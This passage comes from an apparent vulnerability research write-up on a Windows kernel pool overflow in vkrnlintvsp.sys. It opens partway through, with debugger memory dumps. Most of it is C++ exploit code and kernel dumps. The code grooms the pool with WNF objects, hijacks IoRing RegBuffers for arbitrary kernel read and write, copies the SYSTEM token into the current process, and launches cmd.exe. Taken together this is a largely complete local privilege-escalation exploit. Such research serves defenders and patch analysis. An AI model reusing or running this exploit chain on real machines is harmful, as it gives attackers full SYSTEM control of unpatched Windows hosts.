ffffae04`c8385900 00000030`00100904 00000001`00000030
ffffae04`c8385910 41414141`41414141 41414141`41414141
ffffae04`c8385920 41414141`41414141 41414141`41414141
ffffae04`c8385930 41414141`41414141 41414141`41414141
[...]
After the overflow, WNF_STATE_DATA contains unique values for DataSize and AllocatedSize, with an incremental value in the body (e.g., 0x0, 0x1, 0x2, 0x3, …). The first object has DataSize/AllocatedSize = 0x10040 and a unique value of 0x0. The second object has DataSize/AllocatedSize = 0xfff0 and a unique value of 0x1. The third object has DataSize/AllocatedSize = 0xffa0 and a unique value of 0x2, and so on.
1: kd> p
vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x15d:
fffff800`17ad9b29 40f6de neg sil
1: kd> dq ffffae04`c8385630 L100
ffffae04`c8385630 00000001`fff00002 001f0003`ffe80000
ffffae04`c8385640 05000000`00000501 cb493b06`00000015
ffffae04`c8385650 6593c385`d7a83a5f 00000000`000003eb
ffffae04`c8385660 00000000`00000000 00000000`00000000
ffffae04`c8385670 20666e57`03050000 42424242`42424242
ffffae04`c8385680 00010040`00000000 00000001`00010040
ffffae04`c8385690 00000000`00000000 00000000`00000000
ffffae04`c83856a0 00000000`00000000 00000000`00000000
ffffae04`c83856b0 00000000`00000000 00000000`00000000
ffffae04`c83856c0 20666e57`03050000 42424242`42424242
ffffae04`c83856d0 0000fff0`00000000 00000001`0000fff0
ffffae04`c83856e0 00000000`00000001 00000000`00000000
ffffae04`c83856f0 00000000`00000000 00000000`00000000
ffffae04`c8385700 00000000`00000000 00000000`00000000
ffffae04`c8385710 20666e57`03050000 42424242`42424242
ffffae04`c8385720 0000ffa0`00000000 00000001`0000ffa0
ffffae04`c8385730 00000000`00000002 00000000`00000000
ffffae04`c8385740 00000000`00000000 00000000`00000000
ffffae04`c8385750 00000000`00000000 00000000`00000000
ffffae04`c8385760 20666e57`03050000 42424242`42424242
ffffae04`c8385770 0000ff50`00000000 00000001`0000ff50
ffffae04`c8385780 00000000`00000003 00000000`00000000
ffffae04`c8385790 00000000`00000000 00000000`00000000
ffffae04`c83857a0 00000000`00000000 00000000`00000000
ffffae04`c83857b0 20666e57`03050000 42424242`42424242
ffffae04`c83857c0 0000ff00`00000000 00000001`0000ff00
ffffae04`c83857d0 00000000`00000004 00000000`00000000
ffffae04`c83857e0 00000000`00000000 00000000`00000000
ffffae04`c83857f0 00000000`00000000 00000000`00000000
ffffae04`c8385800 20666e57`03050000 42424242`42424242
ffffae04`c8385810 0000feb0`00000000 00000001`0000feb0
ffffae04`c8385820 00000000`00000005 00000000`00000000
ffffae04`c8385830 00000000`00000000 00000000`00000000
ffffae04`c8385840 00000000`00000000 00000000`00000000
ffffae04`c8385850 20666e57`03050000 42424242`42424242
ffffae04`c8385860 0000fe60`00000000 00000001`0000fe60
ffffae04`c8385870 00000000`00000006 00000000`00000000
ffffae04`c8385880 00000000`00000000 00000000`00000000
ffffae04`c8385890 00000000`00000000 00000000`00000000
ffffae04`c83858a0 20666e57`03050000 42424242`42424242
ffffae04`c83858b0 0000fe10`00000000 00000001`0000fe10
ffffae04`c83858c0 00000000`00000007 00000000`00000000
ffffae04`c83858d0 00000000`00000000 00000000`00000000
ffffae04`c83858e0 00000000`00000000 00000000`00000000
ffffae04`c83858f0 20666e57`03050000 42424242`42424242
ffffae04`c8385900 0000fdc0`00000000 00000001`0000fdc0
ffffae04`c8385910 00000000`00000008 00000000`00000000
ffffae04`c8385920 00000000`00000000 00000000`00000000
ffffae04`c8385930 00000000`00000000 00000000`00000000
ffffae04`c8385940 20666e57`03050000 42424242`42424242
ffffae04`c8385950 0000fd70`00000000 00000001`0000fd70
ffffae04`c8385960 00000000`00000009 00000000`00000000
ffffae04`c8385970 00000000`00000000 00000000`00000000
ffffae04`c8385980 00000000`00000000 00000000`00000000
ffffae04`c8385990 20666e57`03050000 42424242`42424242
ffffae04`c83859a0 0000fd20`00000000 00000001`0000fd20
ffffae04`c83859b0 00000000`0000000a 00000000`00000000
ffffae04`c83859c0 00000000`00000000 00000000`00000000
ffffae04`c83859d0 00000000`00000000 00000000`00000000
[...]
Afterward, the proof of concept (PoC) uses NtQueryWnfStateData to retrieve the contents of the WNF_STATE_DATA object.
The first call, with outsize = 0x30, will return an invalid result if the object is corrupted. The PoC performs an additional check on the value in the body and adds it to the corrupted std::vector.
Then, the PoC sorts the corrupted WNF_STATE_DATA objects (this step could be skipped, as it was useful for debugging) and retrieves the one with the largest DataSize/AllocatedSize value, storing it in the max_corrupted variable.
Finally, it prints out all the contents that can be leaked from the heap by calling NtQueryWnfStateData on the max_corrupted WNF object (this final part can be skipped and was primarily used for debugging).
int main(){
[...]
std::vector<std::shared_ptr<WNF_STATE_CORRUPTED>> corrupted;
[...]
memset(buffer, 0x0, 0x10040);
//retrieving corrupted WNFs
for (auto& state : statenames2) {
stamp = 0;
outsize = 0x30;
result = fNtQueryWnfStateData(&state, NULL, NULL, &stamp, buffer, &outsize);
if (result != 0) {
//std::cout << "NtQueryWnfStateData returned " << std::hex << result << std::endl;
//std::cout << "outsize: " << std::hex << outsize << std::endl;
result = fNtQueryWnfStateData(&state, NULL, NULL, &stamp, buffer, &outsize);
//std::cout << "NtQueryWnfStateData returned second time " << std::hex << result << std::endl;
if (reinterpret_cast<DWORD64*>(buffer)[0] != 0x4141414141414141) {
//std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
auto p = std::make_shared<WNF_STATE_CORRUPTED>(WNF_STATE_CORRUPTED{ state, reinterpret_cast<DWORD64*>(buffer)[0],outsize });
corrupted.emplace_back(p);
}
}
}
std::sort(corrupted.begin(), corrupted.end(), [](std::shared_ptr<WNF_STATE_CORRUPTED> a, std::shared_ptr<WNF_STATE_CORRUPTED> b) {
return a->val < b->val;
});
//std::cout << "ordered corrupted WNFs" << std::endl;
for (auto& c : corrupted) {
//std::cout << "state: " << std::hex << c->state.Data[0] << c->state.Data[1] << "\tval: " << std::hex << c->val << "\tdataSize: " << std::hex << c->dataSize << std::endl;
}
auto it = std::max_element(corrupted.begin(), corrupted.end(), [](std::shared_ptr<WNF_STATE_CORRUPTED> a, std::shared_ptr<WNF_STATE_CORRUPTED> b) {
return a->dataSize < b->dataSize;
});
if (it == corrupted.end()) {
std::cout << "no corrupted WNF" << std::endl;
exit(0);
}
std::cout << "max corrupted WNF" << std::endl;
std::cout << "state: " << std::hex << it->get()->state.Data[0] << it->get()->state.Data[1] << "\tval: " << std::hex << it->get()->val << "\tdataSize: " << std::hex << it->get()->dataSize << std::endl;
auto max_corrupted = it->get();
auto max_corrupted_datasize = max_corrupted->dataSize;
memset(buffer, 0x0, 0x10040);
std::cout << "calling NtqueryWnfStateData on max_corrupted with max_corrupted->state " << std::hex << max_corrupted->state.Data[0] << max_corrupted->state.Data[0] << " and datasize" << max_corrupted->dataSize << std::endl;
result = fNtQueryWnfStateData(&(max_corrupted->state), NULL, NULL, &stamp, buffer, &(max_corrupted->dataSize));
if (result != 0) {
std::cout << "NtQueryWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
exit(0);
}
std::cout << "buffer content" << std::endl;
//std::cout << Hexdump(buffer, 0x150) << std::endl << std::endl;
[...]
}
Identifying interesting objects
At this point, the max_corrupted WNF_STATE_DATA object provides 0x1000 bytes relative read/write, allowing access to the next 33 objects (0x1000 / 0x50 = 33, where 0x50 is the size of an object).
The next objects aren’t particularly interesting and would be ideal candidates for replacement with more relevant objects that allow arbitrary read/write primitives in kernel space. It is important to note that the targeted objects must be 0x50 in size, just like the vulnerable object.
The PoC uses the following two objects:
- PipeAttribute object: This object contains a kernel pointer that ultimately allows obtaining the base of ntoskrnl.exe, as described here.
- _IOP_MC_BUFFER_ENTRY* array object: This array is attached to an _IORING_OBJECT by calling BuildIoRingRegisterBuffers() followed by SubmitIoRing().
The IOP_MC_BUFFER_ENTRY data structure was described in this article again by Yarden Shafir. The article outlines a method to obtain arbitrary read/write primitives starting from a single arbitrary write or increment. The idea is to overwrite _IORING_OBJECT.RegBuffers with a user-mode address. RegBuffers is an array of _IOP_MC_BUFFER_ENTRY pointers.
The WNF_STATE_DATA object provides relative read/write, but not arbitrary read/write. It is not possible to insert an _IORING_OBJECT object directly, as it has a fixed size of 0xd0. However, since _IORING_OBJECT.RegBuffers is an array of pointers and the number of pointers is user-controllable (as seen in BuildIoRingRegisterBuffers()), the object size becomes user-controllable.
Below the partial pseudocode of nt!IopIoRingDispatchRegisterBuffers.
1: __int64 __fastcall IopIoRingDispatchRegisterBuffers(_IORING_OBJECT *a1, __int64 a2, __int64 a3)
2: {
3: [...]
4: new_regBuffersCount = *(a2 + 28);
5: [...]
6: if ( PreviousMode )
7: {
8: v15 = 0xFFFFFFFFLL;
9: if ( flag )
10: size_regBuffers = 8 * new_regBuffersCount;
11: else
12: size_regBuffers = 16 * new_regBuffersCount;
13: if ( size_regBuffers <= 0xFFFFFFFF )
14: v15 = size_regBuffers;
15: BufferEntry = size_regBuffers > 0xFFFFFFFF ? STATUS_INTEGER_OVERFLOW : 0;
16: if ( size_regBuffers > 0xFFFFFFFF )
17: goto LABEL_51;
18: if ( v15 )
19: {
20: v17 = v9 + v15;
21: if ( v17 > 0x7FFFFFFF0000LL || v17 < v9 )
22: MEMORY[0x7FFFFFFF0000] = 0;
23: }
24: }
25: v18 = RegBuffersCount;
26: if ( new_regBuffersCount == RegBuffersCount )
27: {
28: v7 = RegBuffers;
29: RegBuffers = 0LL;
30: }
31: else
32: {
33: Pool2 = ExAllocatePool2(257LL, 8 * new_regBuffersCount, 'BRrI');
34: v7 = Pool2;
35: [...]
36: }
37: }
The function is responsible for allocating a new IORING_OBJECT.RegBuffers. Notice the allocation at line 33 with the tag BRrI and size 8 * new_regBuffersCount. new_regBuffersCount is user-controllable (it corresponds to the count parameter passed to BuildIoRingRegisterBuffers()) and appears to have only one requirement: the final size must be less than 0xFFFFFFFF (line 15).
This means it is possible to create BRrI objects of size 0x50.
Note: If the only condition is that the final size must be less than 0xFFFFFFFF, this makes it an interesting object. It could potentially allow for arbitrary read/write primitives to exploit heap overflows or use-after-free vulnerabilities (UAFs) for any size in both the paged-pool LFH heap and the paged-pool VS heap. (This is just a consideration based on a quick review of the pseudocode and hasn’t been verified.)
Corrupting interesting objects
The idea at this point is as follows:
- Use the relative read access of the corrupted WNF_STATE_DATA objects to locate two controllable WNF_STATE_DATA objects that can be replaced.
- Free the first WNF_STATE_DATA object and allocate a bunch of BRrI objects, ensuring one will replace the freed WNF_STATE_DATA object.
- Free the second WNF_STATE_DATA object and allocate a bunch of PipeAttribute objects, ensuring one will replace the freed WNF_STATE_DATA object.
- Use the relative read/write capability of a corrupted WNF_STATE_DATA object to write a user-mode pointer into the BRrI object and read the kernel address of PipeAttribute.Flink.
To achieve this, the PoC is modified to call the prepare() function at the beginning.
BOOL prepare() {
iorings = new PUIORING[IORINGS_SIZE];
HRESULT result;
IORING_CREATE_FLAGS flags;
spray_pipes = new SPRAY_PIPE[SPRAY_PIPE_COUNT];
for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
if (!CreatePipe(&spray_pipes[i].pipe_read, &spray_pipes[i].pipe_write, NULL, NULL)) {
std::cout << "CreatePipe failed with error " << GetLastError() << " index " << i << std::endl;
}
}
attribute = new unsigned char[0x1000];
memset(attribute, 0x41, 0x1000);
attribute[0] = 'Z';
attribute[1] = '\0';
output = new unsigned char[output_size];
memset(output, 0x0, 0x100);
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(VirtualAlloc(NULL, 0x5000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
VirtualLock(fake_bufferentry, 0x5000);
fake_bufferentry = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(reinterpret_cast<unsigned char*>(fake_bufferentry) + 0x3000);
memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
//pre-register buffer array with len=REGBUFFERCOUNT
preregBuffers[0].Address = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!preregBuffers[0].Address)
{
printf("[-] Failed to allocate prereg buffer\n");
return FALSE;
}
memset(preregBuffers[0].Address, 0x41, 0x100);
preregBuffers[0].Length = 0x10;
for (int i = 0; i < IORINGS_SIZE; i++) {
result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, reinterpret_cast<HIORING*>(&(iorings[i])));
if (!SUCCEEDED(result))
{
printf("[-] Failed creating IO ring handle: 0x%x\n", result);
}
//printf("[+] Created IoRing. puioring=0x%p\n", iorings[i]);
result = BuildIoRingRegisterBuffers(reinterpret_cast<HIORING>(iorings[i]), REGBUFFERCOUNT, preregBuffers, 0);
if (!SUCCEEDED(result))
{
printf("[-] Failed BuildIoRingRegisterBuffers: 0x%x\n", result);
}
}
// Create named pipes for the input/output of the I/O operations
// and open client handles for them
//
[...]
return TRUE;
}
The function first allocates 0x500 pipes using CreatePipe() (which will be used for spraying PipeAttribute objects later). Then, it allocates 0x500 IORING_OBJECT structures using CreateIoRing(), and for each of them, it calls BuildIoRingRegisterBuffers() with count = 0 (which will allocate BRrI objects of size 0x50 later).
Next, it creates named pipes, which will be useful later for exploiting the arbitrary read/write primitive, as described in the I/O Ring technique.
After reading the content of the max_corrupted WNF_STATE_DATA into a buffer, the function locates a suitable WNF_STATE_DATA object that can be used to control both the PipeAttribute object and the RegBuffers object (the RegBuffers object refers to a BRrI object). This WNF_STATE_DATA corresponds to regBuffersControllerWNF and is typically the same as max_corrupted.
It then locates two additional WNF_STATE_DATA objects after regBuffersControllerWNF and overwrites one with 0x4343434343434343 and the other with 0x4444444444444444.
Finally, it flushes everything to the kernel by calling NtUpdateWnfStateData() on regBuffersControllerWNF.
[...]
result = fNtQueryWnfStateData(&(max_corrupted->state), NULL, NULL, &stamp, buffer, &(max_corrupted->dataSize));
if (result != 0) {
std::cout << "NtQueryWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
exit(0);
}
[...]
auto ptr2 = buffer + 0x30;
while (reinterpret_cast<DWORD64*>(ptr2)[0] == 0x0) {
ptr2 += 0x8;
}
auto found_wnf = 0;
while (reinterpret_cast<unsigned char*>(ptr2) < buffer + 0x10000 - 0x20) {
ph = reinterpret_cast<POOL_HEADER*>(ptr2);
//found WNF
if (ph->PoolTag == 0x20666e57) {
found_wnf = 1;
break;
}
//Probably found a chunk at the end of a page. It has additional data set to 0. Skip it.
else if (reinterpret_cast<DWORD64*>(ptr2)[0] == 0) {
while (reinterpret_cast<DWORD64*>(ptr2)[0] == 0 && reinterpret_cast<unsigned char*>(ptr2) < buffer + 0x10000 - 0x20) {
ptr2 += 0x8;
}
}
else {
ptr2 += 0x50;
}
}
if (!found_wnf) {
std::cout << "[-] not found WNF to be freed and replaced with RegBuffers" << std::endl;
exit(0);
}
std::cout << "[+] found WNF to be freed and replaced with RegBuffers" << std::endl;
offset = reinterpret_cast<unsigned char*>(ptr2) - buffer;
std::cout << "offset " << std::hex << offset << std::endl;
if (offset + TARGET_SIZE < WNF_MAX_DATA_SIZE) {
regBuffersControllerWNF = max_corrupted;
}
else {
ph = reinterpret_cast<POOL_HEADER*>(ptr2);
data = reinterpret_cast<DWORD64*>(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));
auto c = std::find_if(corrupted.begin(), corrupted.end(), [&data](std::shared_ptr<WNF_STATE_CORRUPTED>& c) {
return c->val == data[0];
});
if (c != corrupted.end()) {
regBuffersControllerWNF = c->get();
}
}
if (regBuffersControllerWNF == NULL) {
std::cout << "no regBuffersControllerWNF found" << std::endl;
exit(0);
}
[...]
//overwriting next WNF value to understand what is to be freed
//when freed, It will be replaced by a RegBuffers object if the exploit has success
ph = reinterpret_cast<POOL_HEADER*>(ptr2);
data = reinterpret_cast<DWORD64*>(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));
data[0] = 0x4343434343434343;
//doing the same for PipeAttribute
[...]
//overwriting next WNF value to understand what is to be freed
//when freed, It will be replaced by a PipeAtttribute object if the exploit has success
ph = reinterpret_cast<POOL_HEADER*>(ptr3);
data = reinterpret_cast<DWORD64*>(ptr3 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));
data[0] = 0x4444444444444444;
std::cout << "updating regBuffersControllerWNF" << std::endl;
std::cout << "calling NtUpdateWnfStateData on tokenReaderWNF->state " << std::hex << regBuffersControllerWNF->state.Data[0] << regBuffersControllerWNF->state.Data[0] << " and datasize" << regBuffersControllerWNF->dataSize << std::endl;
result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer + offset - 0x30, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);
if (result != 0) {
std::cout << "fNtUpdateWnfStateData on max_corrupted returned " << std::hex << result << std::endl;
}
[...]
Afterward, it loops again through all the allocated WNF_STATE_DATA objects to locate the ones containing 0x4343434343434343 and 0x4444444444444444.
[...]
std::cout << "[*] retrieving WNF with content 0x4343434343434343" << std::endl;
std::cout << "[*] retrieving WNF with content 0x4444444444444444" << std::endl;
WNF_STATE_NAME to_free_WNF = { 0 };
WNF_STATE_NAME to_free_WNF2 = { 0 };
BOOL found1 = FALSE, found2 = FALSE;
//auto max_to_free_wnfs = 0;
std::cout << "searching in statenames2" << std::endl;
for (auto& state : statenames2) {
//stamp = 0;
outsize = 0x30;
result = fNtQueryWnfStateData(&state, NULL, NULL, &stamp, buffer, &outsize);
if (result != 0) {
//std::cout << "NtQueryWnfStateData returned " << std::hex << result << std::endl;
//std::cout << "outsize: " << std::hex << outsize << std::endl;
result = fNtQueryWnfStateData(&state, NULL, NULL, &stamp, buffer, &outsize);
//std::cout << "NtQueryWnfStateData returned second time " << std::hex << result << std::endl;
if (reinterpret_cast<DWORD64*>(buffer)[0] == 0x4343434343434343) {
std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
memcpy(&to_free_WNF, &state, sizeof(WNF_STATE_NAME));
found1 = TRUE;
}
else if (reinterpret_cast<DWORD64*>(buffer)[0] == 0x4444444444444444) {
std::cout << "found corrupted WNF: " << std::hex << state.Data[0] << state.Data[1] << "val: " << std::hex << reinterpret_cast<DWORD64*>(buffer)[0] << std::endl;
memcpy(&to_free_WNF2, &state, sizeof(WNF_STATE_NAME));
found2 = TRUE;
}
if (found1 == TRUE && found2 == TRUE) {
break;
}
}
}
[...]
std::cout << "found1 " << found1 << " found2 " << found2 << std::endl;
if (!found1 || !found2) {
std::cout << "[-] not found WNFs to be freed" << std::endl;
exit(0);
}
[...]
If it finds the objects, it first frees the one containing 0x4343434343434343 using NtDeleteWnfStateData(), and then allocates 0x500 regBuffers objects of size 0x50 using SubmitIoRing().
[...]
result = fNtDeleteWnfStateData(&to_free_WNF, NULL);
if (result != 0) {
std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
}
//creating regBuffersArray with size 0x50 in PagedPool. Hopefully one will replace the freed WNF
for (int i = 0; i < IORINGS_SIZE; i++) {
UINT32 submitted = 0;
result = SubmitIoRing(reinterpret_cast<HIORING>(iorings[i]), 0, INFINITE, &submitted);
if (!SUCCEEDED(result)) {
printf("[-] Failed SubmitIoRing: 0x%x\n", result);
return FALSE;
}
}
[...]
It performs the same action to replace the WNF_STATE_DATA object with the value 0x4444444444444444 with a PipeAttribute object of size 0x50, calling NtFsControlFile() with IOCTL 0x11003C.
[...]
result = fNtDeleteWnfStateData(&to_free_WNF2, NULL);
if (result != 0) {
std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
}
//creating pipeAttributes with size 0x50 in PagedPool. Hopefully one will replace the freed WNF
for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
result = fNtFsControlFile(spray_pipes[i].pipe_write,
NULL,
NULL,
NULL,
&status,
0x11003C,
attribute,
attribute_size,
output,
output_size
);
if (result != 0) {
std::cout << "[-] fNtFsControlFile failed with error 0x" << std::hex << result << std::endl;
}
}
[...]
If everything is successful, the heap layout should resemble the following. In this case, regBuffersControllerWNF is followed by the regBuffers object (IrRB tag) and a PipeAttribute object (NpAt tag).

Additionally, the DataSize field of regBuffersControllerWNF is 0x1000, as below.

This means it is possible to read/write both the regBuffers object and the PipeAttribute object calling NtQueryWnfStateData() and NtUpdateWnfStateData() on regBuffersControllerWNF.
In fact, the PoC calls NtQueryWnfStateData() again on regBuffersControllerWNF to retrieve the contents of the next objects and checks the tags of both objects to confirm they were replaced successfully.
[...]
result = fNtQueryWnfStateData(&(regBuffersControllerWNF->state), NULL, NULL, &stamp, buffer, &(regBuffersControllerWNF->dataSize));
if (result != 0) {
std::cout << "NtQueryWnfStateData on regBuffersControllerWNF returned " << std::hex << result << std::endl;
exit(0);
}
//std::cout << "buffer content" << std::endl;
std::cout << Hexdump(buffer, 0x150) << std::endl << std::endl;
//getchar();
found1 = 0, found2 = 0;
ptr2 = buffer;
auto regbuffersobject_ptr = ptr2;
auto pipeattributeobject_ptr = ptr2;
while (ptr2 < buffer + regBuffersControllerWNF->dataSize - sizeof(POOL_HEADER)) {
ph = reinterpret_cast<POOL_HEADER*>(ptr2);
if (ph->PoolTag == REGBUFFERS_TAG) {
found1 = 1;
regbuffersobject_ptr = ptr2;
}
else if (ph->PoolTag == PIPEATTRIBUTE_TAG) {
found2 = 1;
pipeattributeobject_ptr = ptr2;
}
if (found1 && found2) {
break;
}
ptr2 += 0x8;
}
if (found1 == FALSE) {
std::cout << "[-] regBuffers not found" << std::endl;
exit(0);
}
if (found2 == FALSE) {
std::cout << "[-] pipeAttributes not found" << std::endl;
exit(0);
}
std::cout << "[+] regBuffers found and can be overwritten" << std::endl;
std::cout << "[+] pipeAttribute found and can be read" << std::endl;
[...]
The PoC prints the leaked contents to the screen. If both tags appear on the screen, it means the process was successful, and it is now possible to obtain arbitrary read/write access in the kernel by overwriting the pointer to the IOP_MC_BUFFER_ENTRY with a malicious user-mode IOP_MC_BUFFER_ENTRY structure.

Getting arbitrary read/write
At this point, the PoC performs the following actions:
- Saves the original IOP_MC_BUFFER_ENTRY kernel-mode address in original_regBufferEntry.
- Saves the PipeAttribute.Flink pointer in pipeAttributeFlink.
- Overwrites the IOP_MC_BUFFER_ENTRY address with the user-mode address fake_bufferentry by calling NtUpdateWnfStateData() on regBuffersControllerWNF.
[...]
std::cout << "[+] regBuffers found and can be overwritten" << std::endl;
std::cout << "[+] pipeAttribute found and can be read" << std::endl;
//getting original kernel address of IOP_MC_BUFFER_ENTRY struct and saving in original_regBufferEntry
auto original_regBufferEntry = *(reinterpret_cast<DWORD64*>(regbuffersobject_ptr + sizeof(_POOL_HEADER)));
//getting address of PipeAttribute.ListEntry.Flink
auto pipeAttributeFlink = *(reinterpret_cast<DWORD64*>(pipeattributeobject_ptr + sizeof(_POOL_HEADER)));
auto fileObject_ptr = pipeAttributeFlink - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET;
std::cout << "[*] original_regBufferEntry: " << std::hex << original_regBufferEntry << std::endl;
std::cout << "[*] pipeAttributeFlink: " << std::hex << pipeAttributeFlink << std::endl;
IOP_MC_BUFFER_ENTRY** regBuffersAddr = reinterpret_cast<PIOP_MC_BUFFER_ENTRY*>(regbuffersobject_ptr + sizeof(POOL_HEADER));
regBuffersAddr[0] = fake_bufferentry;
result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);
if (result != 0) {
std::cout << "fNtUpdateWnfStateData on tokenControllerWNF returned " << std::hex << result << std::endl;
}
[...]
Afterward, the PoC loops through all the allocated IoRings objects and, for each one, calls KRead().
BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {
DWORD bytesRead = 0;
HRESULT result;
UINT32 submittedEntries;
IORING_CQE cqe;
memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
fake_bufferentry->Address = TargetAddress;
fake_bufferentry->Length = size;
fake_bufferentry->Type = 0xc02;
fake_bufferentry->Size = 0x80;
fake_bufferentry->AccessMode = 1;
fake_bufferentry->ReferenceCount = 1;
auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);
result = BuildIoRingWriteFile(targetHandle,
requestDataFile,
requestDataBuffer,
size,
0,
FILE_WRITE_FLAGS_NONE,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("[-] Failed building IO ring read file structure: 0x%x\n", result);
return FALSE;
}
result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries);
if (!SUCCEEDED(result))
{
printf("[-] Failed submitting IO ring: 0x%x\n", result);
return FALSE;
}
//printf("[*] submittedEntries = %d\n", submittedEntries);
//
// Check the completion queue for the actual status code for the operation
//
result = PopIoRingCompletion(targetHandle, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))
{
printf("[-] Failed reading kernel memory 0x%x\n", cqe.ResultCode);
return FALSE;
}
BOOL res = ReadFile(outputPipe,
pOut,
size,
&bytesRead,
NULL);
if (!res)
{
printf("[-] Failed to read from output pipe: 0x%x\n", GetLastError());
return FALSE;
}
//printf("[+] Successfully read %d bytes from kernel address 0x%p.\n", bytesRead, TargetAddress);
return res;
}
KRead() allows reading a specified number of bytes (size parameter) from TargetAddress and saves the result in pOut. The IoRing handle used by KRead() is the global variable targetHandle. KRead() achieves this by setting TargetAddress and size in fake_bufferentry, then calling the appropriate APIs, as described in Yarden’s article.
Once it receives a value in pOut different from 0x4141414141414141, this indicates that the IoRing with the user-mode IOP_MC_BUFFER_ENTRY was used, and it exits the loop. The value returned in pOut is the address of the FILE_OBJECT associated with the PipeAttribute object.
Privilege Escalation
At this stage, the PoC first exploits the arbitrary read to obtain the base address of ntoskrnl.exe.
It does this by reading the base address of npfs.sys and then reading the address of nt!ExAllocatePool2 in the same manner as described in the paper.
[...]
//get deviceObject
KRead((PVOID)(fileObject + 0x8), reinterpret_cast<PBYTE>(&deviceObject), sizeof(deviceObject));
//std::cout << "[*] deviceObject: " << std::hex << deviceObject << std::endl;
//get driverObject
KRead((PVOID)(deviceObject + 0x8), reinterpret_cast<PBYTE>(&driverObject), sizeof(driverObject));
//std::cout << "[*] driverObject: " << std::hex << deviceObject << std::endl;
//get Npfs!NpFsdCreate
KRead((PVOID)(driverObject + 0x70), reinterpret_cast<PBYTE>(&pNpFsdCreate), sizeof(pNpFsdCreate));
//std::cout << "[*] Npfs!NpFsdCreate: " << std::hex << pNpFsdCreate << std::endl;
std::cout << "[*] base of npfs.sys: " << std::hex << pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET << std::endl;
//get ExAllocatePool2
KRead((PVOID)(pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOL2_OFFSET), reinterpret_cast<PBYTE>(&pExAllocatePool2), sizeof(pExAllocatePool2));
//std::cout << "[*] ExAllocatePool2 : " << std::hex << pExAllocatePool2 << std::endl;
std::cout << "[*] base of ntoskrnl.exe: " << std::hex << pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET << std::endl;
//std::cout << "[*] system EPROCESS ptr: " << std::hex << pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET + NT_INITIALSYSTEMPROCESS_OFFSET << std::endl;
[...]
Afterward, like many other EoP PoCs, it retrieves the address of the system process token and the address of the current process token by looping through the linked list of processes.
[...]
KRead((PVOID)(system_eproc + EPROCESS_TOKEN_OFFSET), reinterpret_cast<PBYTE>(&system_token), sizeof(system_token));
system_token &= 0xfffffffffffffff0;
std::cout << "[*] system TOKEN: " << std::hex << system_token << std::endl;
std::cout << "[*] curpid: " << curpid << std::endl;
cur_eproc = system_eproc;
while (1) {
//std::cout << "[*] cur_eproc: " << std::hex << cur_eproc << std::endl;
KRead((PVOID)(cur_eproc + EPROCESS_UNIQUEPROCESSID_OFFSET), reinterpret_cast<PBYTE>(&pid), sizeof(pid));
//std::cout << "[*] pid: " << pid << std::endl;
if (pid == curpid) {
break;
}
KRead((PVOID)(cur_eproc + EPROCESS_FLINK_OFFSET), reinterpret_cast<PBYTE>(&cur_eproc), sizeof(cur_eproc));
cur_eproc -= EPROCESS_FLINK_OFFSET;
}
[...]
Finally, it calls KWrite() to overwrite the current process token with the system process token, then spawns a new shell.
cur_token_ptr = cur_eproc + EPROCESS_TOKEN_OFFSET;
KWrite((PVOID)cur_token_ptr, reinterpret_cast<PBYTE>(&system_token), sizeof(system_token));
system("cmd.exe");
Note: KWrite() works similarly to KRead(), by setting TargetAddress and size in fake_bufferentry.
Cleanup
At this point, the PoC restores the original IOP_MC_BUFFER_ENTRY kernel pointer using NtUpdateWnfStateData() and then frees all allocated resources.
[...]
//restoring original buffer entry
regBuffersAddr[0] = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(original_regBufferEntry);
result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);
if (result != 0) {
std::cout << "fNtUpdateWnfStateData on tokenControllerWNF returned " << std::hex << result << std::endl;
}
std::cout << "calling NtUpdateWnfStateData returned successfully" << std::endl;
//cleanup
for (int i = 0; i < IORINGS_SIZE; i++) {
result = CloseIoRing(reinterpret_cast<HIORING>(iorings[i]));
if (!SUCCEEDED(result)) {
printf("[-] Failed CloseIoRing: 0x%x\n", result);
return FALSE;
}
}
